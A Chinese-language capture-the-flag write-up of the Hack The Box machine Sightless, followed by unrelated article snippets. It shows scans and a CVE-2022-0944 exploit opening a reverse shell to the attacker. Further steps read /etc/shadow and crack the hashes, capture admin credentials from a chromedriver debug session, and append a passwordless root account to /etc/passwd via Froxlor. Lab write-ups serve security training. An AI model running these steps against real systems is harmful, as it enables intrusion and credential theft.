HTB:Sightless[WriteUP]

目录

连接至HTB服务器并启动靶机

使用nmap对靶机TCP端口进行开放扫描

继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描

首先尝试对靶机FTP服务进行匿名登录

使用curl访问靶机80端口

使用浏览器可以直接访问该域名

使用浏览器直接访问该子域

Getshell

横向移动

查看用户密码

使用hashid判断哈希值类型

特权提升

USER_FLAG:fe4ebd430e1070f00793fce61187ebb1

查看靶机系统网络连接

直接用浏览器访问本地8080端口页面

使用上述凭证登录到Froxlor面板中

ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33


连接至HTB服务器并启动靶机

靶机IP:10.10.11.32

分配IP:10.10.14.12


使用nmap对靶机TCP端口进行开放扫描

nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nmap -p- --min-rate=1500 -T5 -sS -Pn 10.10.11.32
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-09 06:07 EST
Warning: 10.10.11.32 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.32 (10.10.11.32)
Host is up (0.073s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 44.72 seconds

继续使用nmap对靶机开放的TCP端口进行脚本、服务扫描

nmap -p 21,22,80 -sCV 10.10.11.32


首先尝试对靶机FTP服务进行匿名登录

ftp 10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ftp 10.10.11.32
Connected to 10.10.11.32.
220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]
Name (10.10.11.32:kali): anonymous
550 SSL/TLS required on the control channel
ftp: Login failed
ftp> exit
221 Goodbye.


使用curl访问靶机80端口

curl -I http://10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# curl -I http://10.10.11.32
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 09 Nov 2024 10:58:54 GMT
Content-Type: text/html
Content-Length: 154
Connection: keep-alive
Location: http://sightless.htb/

将靶机IP与该域名进行绑定

echo '10.10.11.32 sightless.htb' >> /etc/hosts

使用浏览器可以直接访问该域名

先对该域名进行一遍简单的子域名搜索

ffuf -u http://sightless.htb/ -H 'Host: FUZZ.sightless.htb' -w ../dictionary/subdomains-top5000.txt -fc 302

再对它进行敏感文件和路径FUZZ

ffuf -u http://sightless.htb/FUZZ -w ../dictionary/Half-Dir.txt -e .bak,.txt,.php,.py,.sh -t 200

这里也是没扫出什么东西来,只能从网页本身的交互点测试

在SQLPad这一栏中,点击Start Now会跳转至:sqlpad.sightless.htb

将该子域与靶机IP进行绑定

echo '10.10.11.32 sqlpad.sightless.htb' >> /etc/hosts

使用浏览器直接访问该子域

显然,这里就是我们找的突破口

我尝试直接在Github上搜索该应用的漏洞

不知道靶机该SQLPad是否存在该漏洞:CVE-2022-0944,但不影响我尝试一下


Getshell

本地侧nc开始监听

nc -lvnp 1425

直接利用该EXP尝试getshell

python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# python exploit.py http://sqlpad.sightless.htb/ 10.10.14.12 1425
Response status code: 400
Response body: {"title":"connect ECONNREFUSED 127.0.0.1:3306"}
Exploit sent, but server responded with status code: 400. Check your listener.

本地侧nc收到回显

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# nc -lvnp 1425
listening on [any] 1425 ...
connect to [10.10.14.12] from (UNKNOWN) [10.10.11.32] 35302
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@c184118df0a6:/var/lib/sqlpad# whoami
whoami
root

我没看错吧?直接就是root权限了?尝试查找root_flag的位置

find / -name 'root.txt'

root@c184118df0a6:/var/lib/sqlpad# find / -name 'root.txt'
find / -name 'root.txt'
find: '/sys/devices/virtual/powercap/dtpm': Permission denied

提示没有权限,果然是不出我所料甚至连user_flag都没有权限查看


横向移动

查看根目录

ls /

root@c184118df0a6:/var/lib/sqlpad# ls /
ls /
bin
boot
dev
docker-entrypoint
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

可见目录docker-entrypoint所以我们应该是在docker环境中

查看系统内的用户

cat /etc/passwd

允许登录交互的用户有:root、node、michael

查看用户密码

cat /etc/shadow

root@c184118df0a6:/var/lib/sqlpad# cat /etc/shadow
cat /etc/shadow
root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.:19858:0:99999:7:::
daemon:*:19051:0:99999:7:::
bin:*:19051:0:99999:7:::
sys:*:19051:0:99999:7:::
sync:*:19051:0:99999:7:::
games:*:19051:0:99999:7:::
man:*:19051:0:99999:7:::
lp:*:19051:0:99999:7:::
mail:*:19051:0:99999:7:::
news:*:19051:0:99999:7:::
uucp:*:19051:0:99999:7:::
proxy:*:19051:0:99999:7:::
www-data:*:19051:0:99999:7:::
backup:*:19051:0:99999:7:::
list:*:19051:0:99999:7:::
irc:*:19051:0:99999:7:::
gnats:*:19051:0:99999:7:::
nobody:*:19051:0:99999:7:::
_apt:*:19051:0:99999:7:::
node:!:19053:0:99999:7:::
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/:19860:0:99999:7:::

这里重点是michael用户的密码,但也先暂时也记一下root用户哈希密码没准后续能用上

root:$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.
michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/

将两条哈希值保存到文件中,便于爆破

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/' > michael
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.' > root

使用hashid判断哈希值类型

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < michael
Analyzing '$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh/pL2IJD/'
[+] SHA-512 Crypt
                                                                                                                                                                
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# hashid < root   
Analyzing '$6$jn8fwk6LVJ9IYw30$qwtrfWTITUro8fEJbReUc7nXyx2wwJsnYdZYm9nMQDHP8SYm33uisO9gZ20LGaepC3ch6Bb2z/lEpBM90Ra4b.'
[+] SHA-512 Crypt

通过man命令查询SHA-512在hashcat中的参数

直接开始爆破居然提示没有加载到hash

hashcat -m 1700 michael ../dictionary/rockyou.txt

这种情况多数是因为哈希类型选错了,这次我们试一下1800

这次成功爆破出了密码

hashcat -m 1800 michael ../dictionary/rockyou.txt 

账户:michael

密码:insaneclownposse

接下来,我用弱口令字典跑了ROOT用户的哈希值差不多三分钟

账户:root

密码:blindside

用这个密码直接去登录SSH服务显然是不行的

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh root@10.10.11.32                          
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
Permission denied, please try again.
root@10.10.11.32's password:
root@10.10.11.32: Permission denied (publickey,password).


特权提升

使用michael用户凭证,通过SSH服务登录靶机

ssh michael@10.10.11.32

┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ssh michael@10.10.11.32
michael@10.10.11.32's password:
Last login: Sat Nov  9 12:08:37 2024 from 10.10.14.18
michael@sightless:~$ whoami
michael

查找user_flag位置并查看其内容

michael@sightless:~$ find / -name 'user.txt' 2>/dev/null
/home/michael/user.txt
michael@sightless:~$ cat /home/michael/user.txt
fe4ebd430e1070f00793fce61187ebb1

USER_FLAG:fe4ebd430e1070f00793fce61187ebb1


查看靶机系统网络连接

ss -tlnp

尝试通过SSH服务将靶机8080端口映射到本地

ssh -N michael@10.10.11.32 -L 8080:localhost:8080

直接用浏览器访问本地8080端口页面

此时观察靶机系统进程可见,john用户在不断的运行Chrome自动化调试程序(chromedriver)

ps -aux | tee | grep john

我们将这个调试程序占用的端口映射到本地

ssh -N michael@10.10.11.32 -L 59025:localhost:59025

再次查看靶机网络连接

因为不知道该程序还用了哪些端口进行调试,所以我们多转发几个可疑端口

ssh -N michael@10.10.11.32 -L 41829:localhost:41829
ssh -N michael@10.10.11.32 -L 36607:localhost:36607

打开Chrome浏览器,地址栏输入:chrome://inspect/#devices。进入调试配置界面

点击Configure配置好转发端口,这里最好用127.0.0.1不要用localhost

接着就能收到一堆目标向:http://admin.sightless.htb:8080/index.php的调试

接着点击inspect即可进入调试界面

依此点击:Network->index.php->Payload。即可获取登录密码

账户:admin

密码:ForlorfroxAdmin


使用上述凭证登录到Froxlor面板中

在翻找了一顿后,找到了这个东东:PHP-FPM

PHP - FPM是一种基于FastCGI协议的PHP进程管理器,它负责启动、管理PHP进程,根据服务器负载动态调整进程数量,接收Web服务器的PHP请求,有效处理并返回结果,能提高性能、优化内存管理、增强系统稳定性且具有配置灵活性。

这个位置似乎允许我们执行命令

我尝试往/etc/passwd加入一个无密码管理员用户

首先在靶机/tmp目录下新建一个脚本,内容如下

echo "echo '0dayhp::0:0:0dayhp:/root:/bin/bash' >> /etc/passwd" > test.sh

再将restart command修改为:/bin/bash /tmp/test.sh

过一会再查看/etc/passwd文件,会发现无密码管理员用户已经被成功添加

cat /etc/passwd

切换到0dayhp用户

su 0dayhp

michael@sightless:/tmp$ su 0dayhp
root@sightless:/tmp# whoami
root

查找root_flag位置并查看其内容

root@sightless:/tmp# find / -name 'root.txt'
/root/root.txt
find: ‘/proc/1647/task/1647/net’: Invalid argument
find: ‘/proc/1647/net’: Invalid argument
root@sightless:/tmp# cat /root/root.txt
d24b4ff4e9f46a64036377b1a5cd5d33

ROOT_FLAG:d24b4ff4e9f46a64036377b1a5cd5d33

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/885488.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Oracle视频基础1.4.4练习

1.4.4 [dbs] 删干净上次创建的bbk ll rm -f *dbf ll rm -f spfilebbk.ora clear ll创建bbk的pfile&#xff0c;准备对应的目录 ll strings spfilewilson.ora | more strings spfilewilson.ora > initbbk.ora :%s/wilson/bbk :%s/*\.//g :wq ll vi initbbk.ora####### 创…

【.NET 8 实战--孢子记账--从单体到微服务】--简易权限--角色可访问接口管理

咱们继续来编写孢子记账的简易权限&#xff0c;这篇文章中我们将编写角色可访问接口的管理API&#xff0c;同样我不会把完整的代码全都列出来&#xff0c;只会列出部分代码&#xff0c;其余代码我希望大家能自己手动编写&#xff0c;然后对比项目代码。废话不多说&#xff0c;开…

Monetico: 文本到图像合成的革命性变革

在人工智能和创意技术领域&#xff0c;Collov-Labs 推出了具有开创性的文本到图像合成模型 Monetico&#xff0c;它将彻底改变我们创建和可视化数字内容的方式。Monetico 是著名的 Meissonic 模型的有效再现&#xff0c;它提供了一种独特且易于使用的方法&#xff0c;可根据文本…

海康私有化视频平台EasyCVR视频分析设备平台流媒体协议RTMP、HTTP-FLV、HLS的简单对比

在当今的数字化世界中&#xff0c;视频流协议的选择对于确保流畅、高效的视频传输至关重要。随着互联网技术的快速发展&#xff0c;直播和视频点播服务已经成为人们日常生活中不可或缺的一部分。无论是安防监控、在线教育、远程会议还是娱乐直播&#xff0c;用户对于视频流的实…

Java多线程详解⑥(全程干货!!!)死锁 || 构成死锁的条件 || 死锁总结 || Java标准库的线程安全类

这里是Themberfue 在上一节中&#xff0c;我们介绍了线程安全问题&#xff0c;对锁的概念以及使用 在本节中&#xff0c;进入 "死锁" 的概念以及如何产生 "死锁" 死锁 一个线程&#xff0c;一把锁&#xff0c;同时加两把锁 要想进入死锁的介绍和概念&a…

适用于 Windows 11/10 电脑 的 13 个最佳文件恢复软件

如果您由于系统故障、硬件损坏、人为错误或病毒攻击而丢失了重要文件或文件夹。不用担心&#xff0c;因为我们随时为您提供帮助&#xff01;借助正确的文件恢复工具&#xff0c;您可以立即检索计算机上不同类型的文件。如果你有为您的文件创建备份&#xff0c;你不用担心&#…

> 甘晴void:课程资源免费下载

为进一步减少信息差&#xff0c;便利同学&#xff0c;我把部分重要课程的轨迹&#xff08;期中期末考卷、机考题、作业答案、代码、工程项目等&#xff09;上传至Github。网址链接如下&#xff1a; https://github.com/wolfvoid/HNU-resourses Github平台的优势是下载免费&am…

华为OD机试 - 求小球落地5次后所经历的路程和第5次反弹的高度 (Java 2024 E卷 100分)

华为OD机试 2024E卷题库疯狂收录中&#xff0c;刷题 点这里。 实战项目访问&#xff1a;http://javapub.net.cn/ 专栏导读 本专栏收录于 《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;E卷D卷A卷B卷C卷&#xff09;》 。 刷的越多&#xff0c;抽中的概率越大&…

uniapp—android原生插件开发(2原生插件开发)

本篇文章从实战角度出发&#xff0c;将UniApp集成新大陆PDA设备RFID的全过程分为四部曲&#xff0c;涵盖环境搭建、插件开发、AAR打包、项目引入和功能调试。通过这份教程&#xff0c;轻松应对安卓原生插件开发与打包需求&#xff01; ***环境问题移步至&#xff1a;uniapp—an…

【机器学习】强化学习(1)——强化学习原理浅析(区分强化学习、监督学习和启发式算法)

文章目录 强化学习介绍强化学习和监督学习比较监督学习强化学习 强化学习的数学和过程表达动作空间序列决策策略&#xff08;policy&#xff09;价值函数&#xff08;value function&#xff09;模型&#xff08;model&#xff09; 强化学习和启发式算法比较强化学习步骤代码走…

常见 HTTP 状态码分类和解释及服务端向前端返回响应时的最完整格式

目前开发的项目很大程度上是为明年的国产化做准备了&#xff0c;所以借这个机会把用了十年的自研系统全部重写&#xff0c;订立更严格的规范&#xff0c;本文记录一下返回格式及对应状态码。 常见 HTTP 状态码及解释 HTTP 状态码用于表示客户端请求的响应状态&#xff0c;它们…

深入理解JVM

文章目录 1. JVM内存区域划分2. JVM中类加载过程类加载&#xff08;1&#xff09;类加载的基本流程&#xff08;2&#xff09;双亲委派模型 《深入理解java虚拟机》 在这本书前&#xff0c;面试官对于JVM也不是很了解。 这本书主要还是写个一下开发 JVM 的人。 1. JVM内存区域…

启动软件是用例吗

沙亚雄 2020-8-13 14:06 潘老师&#xff0c;你好&#xff0c;最近读了您的软件方法&#xff0c;结合自己的项目发现始终有一个疑问&#xff1f;那就是启动软件算不算一个用例&#xff0c;因为软件在启动的时候一般都要实例化一些对象&#xff0c;读一些配置文件等等。那启动软…

Ubuntu22.04中使用CMake配置运行boost库示例程序

Ubuntu22.04中使用CMake配置运行boost库示例程序 boost是一个比较强大的C准标准库&#xff0c;里面有很多值得学习的东西&#xff0c;比较asio网络库可以用来编写C TCP客户端或者TCP服务端接收程序。本文主要讲解如何在Ubuntu22.04中使用Cmake配置boost库&#xff0c;以及运行…

指标+AI+BI:构建数据分析新范式丨2024袋鼠云秋季发布会回顾

10月30日&#xff0c;袋鼠云成功举办了以“AI驱动&#xff0c;数智未来”为主题的2024年秋季发布会。大会深度探讨了如何凭借 AI 实现新的飞跃&#xff0c;重塑企业的经营管理方式&#xff0c;加速数智化进程。 作为大会的重要环节之一&#xff0c;袋鼠云数栈产品经理潮汐带来了…

Windows配置NTP时间同步

Windows下实现NTP时间同步 1、Windows时间服务(W32Time)2、Windows 时间同步的工作原理3、配置和管理 Windows 时间同步3.1 命令行工具&#xff1a;w32tm3.2 控制面板中的设置 4. 高级设置&#xff08;Windows Server 环境&#xff09;5.调整时间同步的间隔5.1 通过组策略调整时…

系统安全第七次作业题目及答案

一、 1.RBAC0 RBAC1 RBAC2 RBAC3 2.属性 身份标识 3.接入访问控制 资源访问控制 网络端口和节点的访问控制 二、 1.B 2.A 3.ABE 4.BCD 5.ABC 三、 1. 答&#xff1a;基于属性的访问控制&#xff08;ABAC&#xff09;是通过对实体属性添加约束策略的方式实现主、客体之…

Golang进阶

1.面向对象 1.1.golang语言面向对象编程说明 Golang 也支持面向对象编程(OOP)&#xff0c;但是和传统的面向对象编程有区别&#xff0c;并不是纯粹的面向对象语言。所以我们说 Golang 支持面向对象编程特性是比较准确的。Golang 没有类(class)&#xff0c;Go 语言的结构体(st…

Node(节点)、Menu(菜单) 和 Tab(标签页)之间的关系

在系统开发中&#xff0c;尤其是在涉及到前端界面设计和后台管理系统时&#xff0c;我们经常会看到 Node&#xff08;节点&#xff09;、Menu&#xff08;菜单&#xff09; 和 Tab&#xff08;标签页&#xff09; 这几个概念。这些概念有不同的用途和功能&#xff0c;理解它们之…

Python数据分析案例64——杭帮菜美食探索数据分析可视化

案例背景 杭州是真没啥美食呀.....但是 总是还是有好吃的店家&#xff0c;于是就发挥专业长处&#xff0c;进行一下分析&#xff0c;看看杭帮菜的一些特点。。例如看看品种分布啊&#xff0c;类型分布啊&#xff0c;行政区的分布啊&#xff0c;店铺评分的一些分布啊&#xff0…